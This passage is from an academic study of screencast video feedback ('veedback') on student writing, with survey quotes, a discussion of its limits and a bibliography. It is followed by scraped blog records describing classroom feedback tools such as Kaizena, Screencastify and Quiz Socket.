Students overwhelmingly pointed to auditory feedback as beneficial to their learning. "Hearing" what the teacher was saying was the most important reason that screencasting was found to be such a successful feedback tool, with many students stating a preference for hearing someone's voice going through their paper.

"Being able to hear your explanations was very helpful."

"The fact that you are hearing somebody's voice instead of reading words on a piece of paper."

"Instead of just writing comments it helps hearing the feedback. It helps a lot with knowing what specific things to work on."

The feedback may be perceived as friendly because students can hear tone of voice, recognizing that we as teachers are encouraging them and not criticizing them. We surmise that students may be gaining a way into the conversation because they hear us talking with them about writing, not preaching or using teacherly discourse.

In commenting on veedback, students pointed to more than just the audio component as valuable to learning; for some, it was the combination of hearing feedback while simultaneously seeing the site where ideas may be re-imagined. These comments pointed to the importance of learning through multiple modes of delivery simultaneously, specifically audio and visual.

"I liked being able to hear you and see my paper at the same time."

"It's great to be able to get the feedback while watching it being addressed on the essay itself."

"It's one thing to just read your instructors feedback but to be able to see it and understand what you are talking about really helps!"

"I can see and follow the instructor as she reads through my writing with the audio commentaries. It helps me to pin-point exactly what areas need to be corrected, what is hard to understand, which areas I did well on, and which areas could be improved."

Some students showed metacognition about learning preferences, judging the tool as beneficial to them specifically because they believed themselves to be visual learners who benefited from "seeing" what was being discussed. Reproducing discourse about learning styles, these students took on the identity of self-aware learners.

"This way seemed to be very good for visual learners like myself."

"I like the capture videos. I'm a visual person."

Making Connections

A number of students described their confusion and frustration after receiving feedback through traditional methods, demonstrating the challenges of making connections between feedback and learning goals. Negative experiences with written feedback were contrasted with previous positive responses to veedback.

"I can't tell you how many times I've gotten a paper back with underlines and marks that I can't figure out the meaning of."

"Sometimes when you receive a paper back half of it is decoding what the teacher said before even seeing what was commented on."

Despite the fact that (written) feedback is intended to communicate important information to students, the end result is often quite the opposite; students feel frustrated, disempowered, and unable to take the necessary steps to apply the comments.

Students noted that veedback simulates the student-teacher conference. Although this form of feedback is only one side of the conference, from teacher to student, the conversational nature of the feedback is clear. Students picked up on this intention, calling veedback an "interactive" form of feedback that is available beyond office hours (24/7) in comparison to a one-to-one writing conference with the teacher.

"it's like a student-teacher one-on-one conference whenever I can get the time. Very helpful."

"I really love the Jing screen capture videos that you have given as feedback. It's very interactive and has helped me a lot. Thank you."

"It helped my learning by answering questions I had about my writing."

"Video feedback helped me to better improve my work because it was almost like a classroom setting that allowed the teacher to fill in the interaction gaps without actually having an in-class setting. Not only that, the information could be replayed repetitively, allowing me to review them and reflect on them once I need help with my work."

While veedback does not allow students to ask questions as they would in a face-to-face, phone, or video conference, hearing the voice of the teacher going through the paper does give students the sense that they can ask more questions because it establishes a personal connection and rapport, creating a sense of availability.

Veedback does more than allow teachers to create a more personal mentoring connection with students; it allows us to take advantage of digital technologies-often thought to dehumanize interaction-to personalize instruction beyond the classroom. Unlike with written comments that rely upon brief descriptions, many students noted that video comments improved their learning primarily because teachers provided deeper explanation.

"I think the Jing videos are excellent because they help me understand a lot better as to what I need to revise. They are a lot better and more helpful than regular comments."

"It did help my learning, i was able to understand what i was doing wrong, and how to fix it."

"I think I received more detailed feedback than I might have from written comments."

"I like it better than normal comments because I can hear your thought process when you are making a comment so it is easier to understand what you're trying to say."

Students stated that explanations within video feedback made the thought process of the reader visible, allowing them to identify problems. Thus, veedback provided students with greater guidance about how to improve. One of the second author's online students stated that veedback "felt like you were explaining it to me," not just pointing out mistakes. In this way, veedback engages the student in ongoing learning rather than grade justification. Moreover, veedback encourages a response and encourages revision as a re-vision (seeing again), not as just changing to whatever the teacher wants.

It is important to clarify here that it is the audio part of veedback that allows students to hear tone, which is a difficult skill for many students. Moreover, the medium of audio comments encourages students to think of feedback as a conversation. Inexperienced or less experienced (student) writers tend to conflate medium with tone, register, purpose, etc. That is, students often perceive written comments as directive-even when these comments are phrased as questions to consider or presented as guidance for revision. What veedback allows is for instructors to convey tone in both what they say and how they say it, thereby increasing the likelihood that students will understand our comments to be part of an ongoing negotiation between the meaning-making a reader enacts and the intended meaning writers attempt to create. While it is possible to transcribe spoken comments into written form, we posit that it is in hearing our voices that students are engaged in the conversation.

Accessing and Applying Veedback

The problem with traditional margin comments isn't necessarily in the marks themselves, but in the disconnect between what teachers communicate and how students interpret that feedback. Teachers comment on assignments in hopes of reaching students by providing feedback about what worked well (if a student is lucky) and what went wrong. Feedback is frequently given merely as a form of assessment-justification for a grade. Regularly, feedback is provided after an assignment is completed and with the belief that a student will be able to transfer knowledge about what he did wrong and what he needs to do right the next time. Students are expected to fill in the gaps of their own knowledge. If students are lucky, feedback is given on early attempts (practice activities or essay drafts) to provide guidance, helping those who have lost their way to find their way back to the path.

Although most reviews of screencasting in the classroom have been positive, a recent study in the field of computer science found no significant effect of screencasts on learning (Lee, Pradhan, and Dalgarno 2008), and another that uncovered pedagogical challenges of integrating screencasting (Palaigeorgiou and Despotakis 2010). These critical reviews help us to see that this technology is not a panacea. Like other learning technologies, many of us are quick to see the benefits without fully assessing the problems they present for learners. Many of the problems faced by the computer science students in the first study, such as access, speed, and uncertainty about how to use the tool, were also experienced by our writing students.

Although there are increasing expectations-for instructors as well as students-to use digital tools, sometimes there are additional obstacles based on students' lack of digital literacy in new media that go beyond typical social networking and entertainment-based tools. The free version of Jing creates SWF files that require a Flash player to open and often requires students to specify which program to open the file with. For the click-and-open generation, this has proved to be a challenge. Alternative software programs include options to save video files in the MP4 format, which can be more easily opened or played on other media devices (such as iPods). However, MP4 files are larger than SWF files, which presents other problems for downloading and/or uploading.

Technological difficulties were one of the primary obstacles to using video feedback. Students participating in the survey overwhelmingly liked veedback, but some complained of difficulties accessing and/or using the technology. Despite written instructions and campus resources providing students with help using academic technologies, two of the nineteen respondents said that they didn't even know how to get into the videos. Because the survey was anonymous, the instructor remained clueless about which students had problems with access.

"Jing feedback videos and [Dropbox] comments still do not work on my end. I have talked with tech guys and they can't figure it out. I can't find out how I did and ways to improve my writing."

"I like the videos but they were really hard to get them to work."
"Sometimes it's hard to open the videos."

"I have no clue what Jing Feedback Video is and if I got a comment back it may have not opened because I tried to open some of the comments you left, but they would not open for me."

"I think all the tech we use in class is great, but I have to teach myself how to use it :)"

The technological problems faced by these students resemble the difficulties faced by students unable to decipher the comments on the written page. That is, the technology acted as a barrier between our students and the conversation we tried to enact in written comments-both marginal and end comments-in the same way that written comments themselves are a barrier to the rich conversation that they are meant to convey. Until they asked for help or clarification both groups of students-those with technological problems and those with written comments-remained in the dark, unable to access the feedback in any useful way.

After assessing video feedback in our early classes, we were surprised to learn that technological issues were not always the obstacle to learning. In fact, the obstacle was students' difficulty understanding how to utilize the feedback in their revision process. Although only two of the respondents stated a preference for written feedback, the complaint brings to light important issues of how students access and apply feedback to make improvements to their work.

"personally i don't like the jing videos. i'd rather have the comments written down so that I can quickly access the notes and not have to keep track of just where in the video a certain comment is."

"Written feedback helps more because I get to see the description and review it again if I need to. It is more easier for me to see it written out than video"

The complaint about video feedback in this context can be compared to the specific problems described in the studies about computer science courses (Lee et al. 2008, Palaigeorgiou and Despotakis 2010). It is apparent from these two comments above that the students' revision practices operate within print-based culture. That is, written feedback is a norm within education and students have background knowledge and a repertoire for working with this mode of feedback, which consequently creates a perception that working with written feedback is easier (even if it is not). Some students, therefore, feel frustrated by unfamiliar modes of feedback and resist new revision practices that require learning new strategies to engage with feedback. While it is not uncommon for new technologies to be resisted when they require some adaptation, students in other contexts show a propensity to develop strategies to overcome these challenges. Thus, continuing research needs to evaluate whether the potential difficulties of implementing veedback outweigh the benefits for learning.

Through this study, we found that students need instruction on strategies for interacting with written and digitally mediated forms of feedback before they can deeply engage in the revision process. Proposed solutions to improve student learning with video feedback include teaching them how to read and apply feedback, not unlike the ways in which we teach them how to interpret the comments we put on a paper. We suggest that teachers encourage students to take advantage of the video format by re-watching sections and pausing when necessary to "digest" comments, as well as teaching them how to use feedback. We also recommend creating tutorials for students to demonstrate how to annotate a "hard copy" of the draft while watching the video, including highlighting and circling key points, time-stamping the draft to correspond with important places in the video, interpreting video feedback, and paraphrasing teacher comments in the margins. When students write their own comments, they do so in terms they understand and use writing to make sense of their own ideas through the act of rephrasing, reworking, and revising. Students already do translation work of digesting feedback during class, student-teacher conferences, and when they sit down to revise their work. What is valuable about student comments on their own work is that in that moment students are actively engaging in the process of revision (and learning).

Conclusion

Even when students understand what we are saying in our comments, they often don't know how to reconceive the structure of their writing and change it (that is, they don't understand how to reconfigure their ideas in their own voice). Many students continue to use templates and try to fill in the blanks, rather than see the model and then use the comments to make decisions about the types of revisions that can be made. In the service of learning, finding richer ways to teach students to engage with the work is of the utmost importance. It is our contention that students should be taught how to apply feedback to improve their work. Feedback that engages multiple learning styles while providing deeper explanation offers the possibility of increased student learning in a variety of higher education contexts.

Screencasting allows instructors to provide students with in-depth feedback and/or evaluation. With response papers and short written assignments, veedback allows the teacher to zoom in and highlight portions for discussion while scrolling through the document. With visually-oriented work (e.g., art work, Web sites, and PowerPoint presentations), using the mouse to point at key elements, instructors can talk about the impact of the student's choices. We suggest that instructors be mindful of time and create multiple videos if there is a need for extensive feedback. Conceivably, students can view each of the videos at different times, even on different days. It is debatable how long web-based videos should be (Agarwal 2011, Scott 2009, SkyworksMarketing 2010), but the need for concision and clarity remains vital for both the student and the instructor. We also recommend instructors inform students if only certain types of issues will be discussed in a particular feedback session.

Based on our pilot study, the majority of students perceived that they understood video comments in a more meaningful way than written comments. Veedback can be used to perform the "confused reader" instead of the "finger-wagging critical teacher." A margin comment that says "this is awkward" is different than hearing it read aloud from a real reader. The audio portion of veedback allows for communication that is conversational. In other words, teachers can speak the student's language with veedback in ways that are absent in written comments. When teaching multilingual speakers, teachers may find that reading sentences aloud models Standard English and possible alternative forms that are commonly spoken. Another way to consider using veedback is to give students a sense of a reader's experience, presenting alternatives through visual imagery and analogies.

We can see that video feedback is effective in terms of engagement with the revision process because we have noticed that students responding to video feedback appeared to attend to big picture issues, making global revisions rather than merely edits to surface level errors. With video feedback, students hear what is confusing about a sentence (rather than just a phrase identifying the error type) and therefore are more willing to attempt revision. Video feedback provides an opportunity to elaborate on problems in writing assignments, which gives students more direct guidance about how to solve the communication problem.

Although students have responded positively to this multimodal teaching tool, additional studies comparing revisions that responded to written feedback and video feedback are needed to investigate specifically what it is about veedback that is so compelling. Student interaction with and application of veedback requires further investigation. Furthermore, assumptions that the current generation is more audio/visual-oriented, a claim that has yet to be proven, may create external pressures for teachers to incorporate digital media into their teaching before research proves its effectiveness. Debates about pedagogy and technology are intricately tied to these assumptions, which must be interrogated. The question remains whether veedback is in fact more effective in improving student performance, or if it is merely student perception because "it's not your grandfather's Oldsmobile." That is, not only are we not using the scolding red pen, but we are also not using any of the traditional feedback methods with which students may have had prior negative experiences.

While redesigning e-learning pedagogy should yield improved student learning, the question of how to measure outcomes will likely remain a source of debate. Although studies have found subtle differences in the impact of technology on student learning, variation in study types and research methodologies continue to leave more questions than answers about the effectiveness of digitally mediated modes of instruction (Wallace 2004), with alternate modes of instructional delivery showing "no significant difference" in student outcomes (Russell 2010). Rather than assessing the effectiveness of e-learning tools like veedback as measured by improved grades, drawing upon the Seven Principles for Good Practice in Undergraduate Education to examine "time on task" (Chickering and Ehrmann 1996) would provide a better indicator of student engagement. We propose that further research utilizing digital tools like Google shared docs would provide an avenue to review writers' revision histories. This would allow for an examination of the types of revisions students produce in response to different feedback modes during time on task and to garner information about how students are engaged in revision.

We argue that assessing video feedback in terms of performance or most effective mode of delivery would miss the most important point of what our research is attempting to propose. It seems most useful to answer this question: is it fruitful to deconstruct the idea of "engagement in the revision process" by discussing "engagement" and the "revision process" on their own terms? Although there are other ways to assess engagement in the revision process, we believe that students' attitudes about engaging with feedback provide a wealth of data about affective engagement in the revision process, which gets us closer to understanding what makes our students motivated and, thus, invested in their own learning. While scholars continue to debate about effective ways to motivate students, we propose that using veedback can be an effective way to address the affective component in motivating students. That is, students who are invested in the interpersonal relationship with their instructor/reader are likely to engage in more extensive and/or intensive revision and, consequently, learn at deeper levels.

One of the shortcomings of our study-the fact that our data on student attitudes cannot be compared to writing samples because the survey tool elicited anonymous responses-highlights the challenges of assessing the impact of video feedback on student learning. In our case, the use of anonymous surveys to elicit honest responses conflicted with a desire to triangulate data, leaving us with more answers about students' perceptions about their own engagement with feedback than proof of whether students who claimed that veedback improved their learning did in fact make improvements.

In courses that teach skills acquisition through a cumulative drafting process, a number of variables at play further trouble the ability to assess the effectiveness of this particular tool. In writing intensive courses, for example, we might question whether improvement in skills from an early draft to a later draft is a product of the feedback method specifically; when assessing improvement in a course that aims to improve skills over the course of a term, supplemental instruction during class (or through online tutorials) and the cumulative effect of skills and knowledge gained between drafts are likely to skew the results. In addition, improvement in the final product (in the form of a revised draft) can differ widely across the data sample, in terms of both classroom dynamics and individual student motivation, background knowledge, ability, and commitment to the course.

Future research that attempts to mitigate some of these variables and triangulate the data may provide a more satisfying answer about the effectiveness of veedback. For example, an option that would allow for a comparison between feedback forms within one class is to use both forms to respond to the same type of assignment (e.g. summaries for two different articles) within one class. While this method may eliminate one variable by using the same students, other problems may arise, such as whether the form used later in the quarter may provide better results on account of cumulative learning or whether one of the assignments produced inferior results on account of the content. To compare across classes, researchers may want to use written feedback first in one class and video feedback first in another. While this may allow researchers to compare across classes and mitigate the problem presented by the order of the feedback form, other variables remain.

While it may be tempting to only ask whether video feedback is superior to traditional modes, we suggest that instructors also consider how this method supplements written feedback through an integration of technology in educational environments (Basu Conger 2005). Because student response to veedback was overwhelmingly positive-and despite technological issues, students preferred this form of engagement to traditional written comments-we intend to continue to evaluate how veedback may improve student learning and enrich teaching. The following student comment reminds us that taking the time for innovation with digital teaching technologies is valuable to student learning and doesn't fall on deaf ears: "It was a very unique feedback process that helped considerably. I know it's time consuming but more of this on other assignments would be great!"

Bibliography

Agarwal, Amit. 2011. "What's the Optimum Length of an Online Video." Digital Inspiration, February 17. http://www.labnol.org/.

Anson, Chris M. 1989. Writing and Response: Theory, Practice, and Research. Urbana, IL: National Council of Teachers of English. ISBN 9780814158746.

---. 2011. "Giving Voice: Reflections on Oral Response to Student Writing." Paper presented at the Conference on College Composition and Communication, Atlanta, GA.

Basu Conger, Sharmila. 2005. "If There Is No Significant Difference, Why Should We Care?" The Journal of Educators Online 2 (2). http://www.thejeo.com/Archives/Volume2Number2/CongerFinal.pdf.

CCCC. 2004. "CCCC Position Statement on Teaching, Learning, and Assessing Writing in Digital Environments." http://www.ncte.org/cccc/resources/positions/digitalenvironments.

Chickering, Arthur W., and Stephen C. Ehrmann. 1996. "Implementing the Seven Principles: Technology as Lever." AAHE Bulletin 49, no. 2: 3-6. ISSN 0162-7910.

Clements, Peter. 2006. Teachers' Feedback in Context: A Longitudinal Study of L2 Writing Classrooms. PhD diss., University of Washington. https://digital.lib.washington.edu/researchworks/handle/1773/9322.

Community College Survey of Student Engagement (CCSSE). (n.d.). http://www.ccsse.org/.

Coupland, Nikolas, Howard Giles, and John M. Wiemann. 1991. "Miscommunication" and Problematic Talk. Newberry Park, CA: Sage Publications. ISBN 9780803940321.

Davis, Anne, and Ewa McGrail. 2009. "'Proof-revising' with Podcasting: Keeping Readers in Mind as Students Listen To and Rethink Ttheir Writing." Reading Teacher 62 (6): 522-529. ISSN 0034-0561.

Duvall, Annette, Ann Brooks, and Linda Foster-Turpen. 2003. "Facilitating Learning Through the Development of Online Communities." Presented at the Teaching in the Community Colleges Online Conference.

Ertmer, Peggy A, Jennifer C Richardson, Brian Belland, Denise Camin, Patrick Connolly, Glen Coulthard, Kimfong Lei, and Christopher Mong. "Using Peer Feedback to Enhance the Quality of Student Online Postings: An Exploratory Study." Journal of Computer‐Mediated Communication 12, no. 2 (January 1, 2007): 412-433. http://jcmc.indiana.edu/vol12/issue2/ertmer.html.

Evans, Darrell J. R. 2011. "Using Embryology Screencasts: A Useful Addition to the Student Learning Experience?" Anatomical Sciences Education 4 (2): 57-63. ISSN 1935-9772.

Falconer, John L., Janet deGrazia, J. Will Medlin, and Michael P. Holmberg. 2009. "Using Screencasts in ChE Courses." Chemical Engineering Education 43 (4): 302-305. ISSN 0009-2479.

Furman, Rich, Carol L. Langer, and Debra K. Anderson. 2006. "The Poet/Practitioner: A New Paradigm for the Profession." Journal of Sociology and Social Welfare 33 (3): 29-50. ISSN 0191-5096.

Georgakopolou, Alexandra, and Dionysis Goutsos. 2004. Discourse Analysis: An Introduction. Edinburgh: Edinburgh University Press. ISBN 9780748620456.

Holmes, Bryn, and John Gardner. 2006. E-Learning: Concepts and Practice. Sage Publications Ltd. ISBN 9781412911108.

Lee, Mark J. W., Sunam Pradhan, and BarneyDalgarno. 2008. "The Effectiveness of Screencasts and Cognitive Tools as Scaffolding for Novice Object-Oriented Programmers." Journal of Information Technology Education 7: 61-80. ISSN 1547-9714.

Liou, H.-C., and Z. -Y. Peng. 2009. "Training Effects on Computer-Mediated Peer Review." System 37, (3): 514-525. doi:10.1016/j.system.2009.01.005.

NSSE Home. (n.d.). http://nsse.iub.edu/.

Notar, C. E., J. D. Wilson, and K. G. Ross. 2002. "Distant Learning for the Development of Higher-Level Cognitive Skills." Education 122: 642-650. ISSN 0013-1172.

Nurmukhamedov, Ulugbek, and Soo Hyon Kim. 2010. "'Would You Perhaps Consider ...': Hedged Comments in ESL Writing." ELT Journal: English Language Teachers Journal 64 ( 3): 272-282. doi:10.1093/elt/ccp063.

Palaigeorgiou, George, and Theofanis Despotakis. 2010. "Known and Unknown Weaknesses in Software Animated Demonstrations (Screencasts): A Study in Self-Paced Learning Settings." Journal of Information Technology Education 9: 81-98. ISSN 1547-9714.

Russell, Thomas L. 2010. "The No Significant Difference Phenomenon." NSD: No Significant Difference. http://www.nosignificantdifference.org/.

Scott, Jeremy. 2009. "Online Video Continues Ridiculous Trajectory." ReelSEO: The Online Video Business Guide. http://www.reelseo.com/online-video-continues-ridiculous-trajectory/.

SkyworksMarketing. 2010. "What's the best length for an internet video?" SkyworksMarketing.com, February 2. http://skyworksmarketing.com/right-video-length/.

Thurlow, Crispin, Laura B. Lengel, and Alice Tomic. 2004. Computer Mediated Communication: Social Interaction and the Internet. Thousand Oaks, CA: Sage. ISBN 9780761949534.

Vondracek, Mark. 2011. "Screencasts for Physics Students." Physics Teacher 49 (2): 84-85. ISSN 0031-921X.

Wallace, Patricia M. 2004. The Internet in the Workplace: How New Technology Is Transforming Work. New York: Cambridge University Press. ISBN 9780521809313.

White, Edward M. 2006. Assigning, Responding, Evaluating: A Writing Teacher's Guide. Boston: Bedford/St. Martin's. ISBN 9780312439309.

Yee, Kevin, and Jace Hargis. 2010. "Screencasts." Turkish Online Journal of Distance Education 11 (1): 9-12. ISSN 1302-6488.
Notes

About the Authors

Riki Thompson is an Assistant Professor of Rhetoric and Composition at the University of Washington Tacoma. Her research takes an interdisciplinary approach to explore the intersections of the self, stories, sociality, and self-improvement. Her scholarship on teaching and learning draws upon discourse, narrative, new media, and composition studies to reflect upon, assess, and improve methods for using digital technology in the classroom.

Meredith J. Lee is currently a Lecturer at Leeward Community College in Pearl City, HI. Her pedagogy and scholarship draws upon discourse, rhetorical genre studies, composition studies, sociolinguistics, and developmental education. Dr. Lee's work also reflects her commitment to open access education.

# data[].attributes.attachment_link.title
Talking with Students through Screencasting: Experimentations with Video Feedback to Improve Student Learning

# data[].attributes.attachment_link.description
Changing digital technology has allowed instructors to capitalize on digital tools to provide audiovisual feedback. As universities move increasingly toward hybrid classrooms and online learning, consequently making investments in classroom management tools and communicative technologies, communication with students about their work is also transforming.

# data[].attributes.headline
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.subject
Providing Feedback on Student Writing and Video | Edudemic

# data[].attributes.attachment_link.readable_text
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

Feedback on Written Work

With the increased adoption of Google Apps for Education, student writing often occurs within Google Docs. While teachers can provide feedback in the form of typed comments, media-rich options exist. By incorporating audio and video feedback, teachers have even more opportunities to connect with their students as they can choose the modality to best support their learning preferences.

If students are in a 1:1 iPad classroom, and are using Google Drive to create and share writing assignments, along with the capacity to insert text comments into the body of the paper or in the margins, classroom teachers can use a combination of Google Drive and Explain Everything to provide video and audio feedback. The process allows a teacher to export a student writing assignment directly from Google Drive to Explain Everything.

Once in Explain Everything, the teacher can press record, ink on the document (which imports as a PDF), and even insert front facing video while providing feedback. In order to give the student access to the video feedback, the Explain Everything Project (XPL file) or video file can be uploaded directly back to Google Drive and placed into a student folder. It is important to recognize that XPL project files will upload quickly to Drive, but students then need Explain Everything to view the feedback. Meanwhile, a video file will take some time to export and upload, but once in Google Drive, students can watch the video feedback on any device.

Video Feedback: Google Drive & Explain Everything from EdTechTeacher.

If students are creating their writing in Google Drive in a 1:1 laptop environment, there are a number of solutions that allow the teacher to provide video and audio feedback on student writing. Kaizena, which is now available in the Google Docs Add-Ons menu as well as through the Kaizena website, allows teachers to quickly open a Google Docs writing assignment in Kaizena and provide audio feedback.

Once imported into Kaizena, teachers can highlight sections of the document and record their voice in small segments. Two features recently added into Kaizena allows the teacher to insert a link to the Kaizena audio feedback directly into the student Google Doc in the margin comments. Further, Kaizena now allows teachers to create a unique teacher URL. When the URL is shared with students, they have the ability to request audio feedback on a particular assignment in their Google Drive account. The teacher will receive a notification of the request via email and can then provide the requested feedback.

Along with Kaizena, any screencasting or screen recording tool can be used in a similar approach to provide video and audio feedback on student writing. If using a MacBook, teachers can open a student writing assignment and screen record using QuickTime. Once the file is saved, it can be uploaded to a student folder in Google Drive.

If a teacher does not have access to the QuickTime recording option, a recently released web based screencasting tool can provide alternative methods to record feedback. Screencastify is a Google Chrome browser extensions that allows either a tab in Google Chrome, or the desktop of a Chromebook or computer, to be recorded. Screencastify provides a feature to upload the screencast directly to Google Drive. Once in Drive, the Screencastify recording can be moved into a student folder.

Providing Feedback on Student Created Video

While it is common practice to have students submit written work as their final assessment to demonstrate their understanding and perspective on a concept, with the increased proliferation and access to mobile devices, student are able to increasingly create video content as their final product. But how does a teacher provide helpful and thoughtful feedback on student created video? Two solutions: VideoNot.es and Comment Bubble.

VideoNot.es is a Google Drive app that can be added directly to a Google account or accessed through the VideoNot.es website. When working within the VideoNot.es environment, the note taking process splits the screen in half with one side being a student created video that has been uploaded to YouTube or Vimeo and the other being typed notes.

The critical feature in VideoNot.es is that any typed note added while watching a video is tagged to the specific location in the video. When complete, the VideoNote is automatically saved to Google Drive where it can then be shared with the student. For the student to receive the feedback on their video creation, they open the note in VideoNot.es, play back their video, and read the attached text commentary.

Along with VideoNot.es, Comment Bubble is a web based solution to provide feedback on student created video. The interface calls for a link to a YouTube video that it automatically embeds in the feedback interface. A unique feature of Comment Bubble that makes the feedback process even more efficient is the customizable feedback buttons that can be tapped by the teacher while watching the video.

When the teacher taps on a customized feedback button, the feedback is tagged to the video and added to a timeline of feedback with a time stamp. Along with pre-determined feedback, teachers can type their feedback or insert audio and video feedback. The final feedback can be shared with the student via a link to a unique URL on the Comment Bubble site.

Neither one of these digital feedback solutions is a complete replacement for a face to face discussion with students. However, there are likely specific assignments, students, and scenarios where these digital tools can provide a path for a teacher to provide effective feedback on student work.

# data[].attributes.attachment_link.title
Providing Feedback on Student Writing and Video

# data[].attributes.attachment_link.description
Providing timely and effective feedback on student work is a critical component to any classroom. As students increasingly operate and create in a digital environment, emerging tools provide unique new opportunities for teachers to provide feedback on both written work and video projects.

# data[].attributes.headline
Free Technology for Teachers: Quiz Socket - A Simple Feedback Tool for Teachers and Students

# data[].attributes.subject
Free Technology for Teachers: Quiz Socket - A Simple Feedback Tool for Teachers and Students

# data[].attributes.attachment_link.readable_text
Quiz Socket is a new tool developed for the purpose of enabling teachers to quickly gather feedback from students. Quiz Socket enables students to respond to questions through their cell phones, tablets, and laptops.

Here's how Quiz Socket works. Teachers visit the Quiz Socket website and click "create quiz." A quiz code is assigned to the teacher. The teacher then gives that quiz code to students to enter on QuizSocket.com. Teachers then deliver multiple choice questions to students either verbally or by posting them on a whiteboard. The teacher controls the pace of the quiz by simply clicking "next question" to move the quiz along.

Applications for Education
Quiz Socket doesn't have the advanced options of similar services like Socrative and Infuse Learning, but it doesn't require you to register and you can get a quiz running on the spur of the moment. Quiz Socket could be handy for running a quick prior knowledge assessment or a quick exit ticket activity.

# data[].attributes.attachment_link.title
Quiz Socket - A Simple Feedback Tool for Teachers and Students

# data[].attributes.attachment_link.description
Quiz Socket is a new tool developed for the purpose of enabling teachers to quickly gather feedback from students. Quiz Socket enables students to respond to questions through their cell phones, tablets, and laptops. Here's how Quiz Socket works. Teachers visit the Quiz Socket website and click "create quiz."

# data[].attributes.headline
Free Technology for Teachers: Project Based Assignments and Providing Meaningful Feedback Through WeLearnedIt

# data[].attributes.subject
Free Technology for Teachers: Project Based Assignments and Providing Meaningful Feedback Through WeLearnedIt

# data[].attributes.attachment_link.readable_text
Earlier this week I featured Adam Bellow's new iPad app WeLearnedIt. In that post I mentioned that Adam would be hosting a webinar on Thursday evening. The recording of the webinar is now available to watch online. In the webinar Adam covers the features of WeLearnedIt that can be useful in giving students feedback on their projects and portfolios. The webinar recording is embedded below.

WeLearnedIt offers many of the great features of eduClipper that you currently enjoy along with additional digital portfolio elements. Through the WeLearnedIt iPad app you and your students can create digital portfolios that contain files from Google Drive, Dropbox, links from the web, images and videos captured with your iPad, and whiteboard videos created within the WeLearnedIt app.

Disclosure: I have a small advisory and equity interest in eduClipper.

# data[].attributes.attachment_link.title
Project Based Assignments and Providing Meaningful Feedback Through WeLearnedIt

# data[].attributes.attachment_link.description
Earlier this week I featured Adam Bellow's new iPad app WeLearnedIt. In that post I mentioned that Adam would be hosting a webinar on Thursday evening. The recording of the webinar is now available to watch online. In the webinar Adam covers the features of WeLearnedIt that can be useful in giving students feedback on their projects and portfolios.

# data[].attributes.headline
Free Technology for Teachers: Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.subject
Free Technology for Teachers: Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.attachment_link.readable_text
This is news that I have been waiting to announce for days! Kaizena now supports adding audio feedback on Google Presentations. Kaizena is a tool that integrates with your Google Drive account. With Kaizena authorized to access your Google Drive account you can highlight portions of your students' work and add voice or text comments to it. Until today you could only leave voice comments on Google Documents, now you can leave voice comments on Google Presentations too.

To use Kaizena to leave voice comments for your students your student should share their Documents or Presentations with you. Once they have shared their Documents or Presentations with you, open the shared file through Kaizena. With the shared file open you can highlight a portion of a slide then click the microphone icon to record your voice comment. Your students will see the comments after you have saved them. Greg Kulowiec outlined the process in this post. You can also watch the video below to see how the new feature works.

# data[].attributes.attachment_link.title
Kaizena Adds Support for Giving Audio Feedback on Google Presentations

# data[].attributes.attachment_link.description
This is news that I have been waiting to announce for days! Kaizena now supports adding audio feedback on Google Presentations. Kaizena is a tool that integrates with your Google Drive account. With Kaizena authorized to access your Google Drive account you can highlight portions of your students' work and add voice or text comments to it.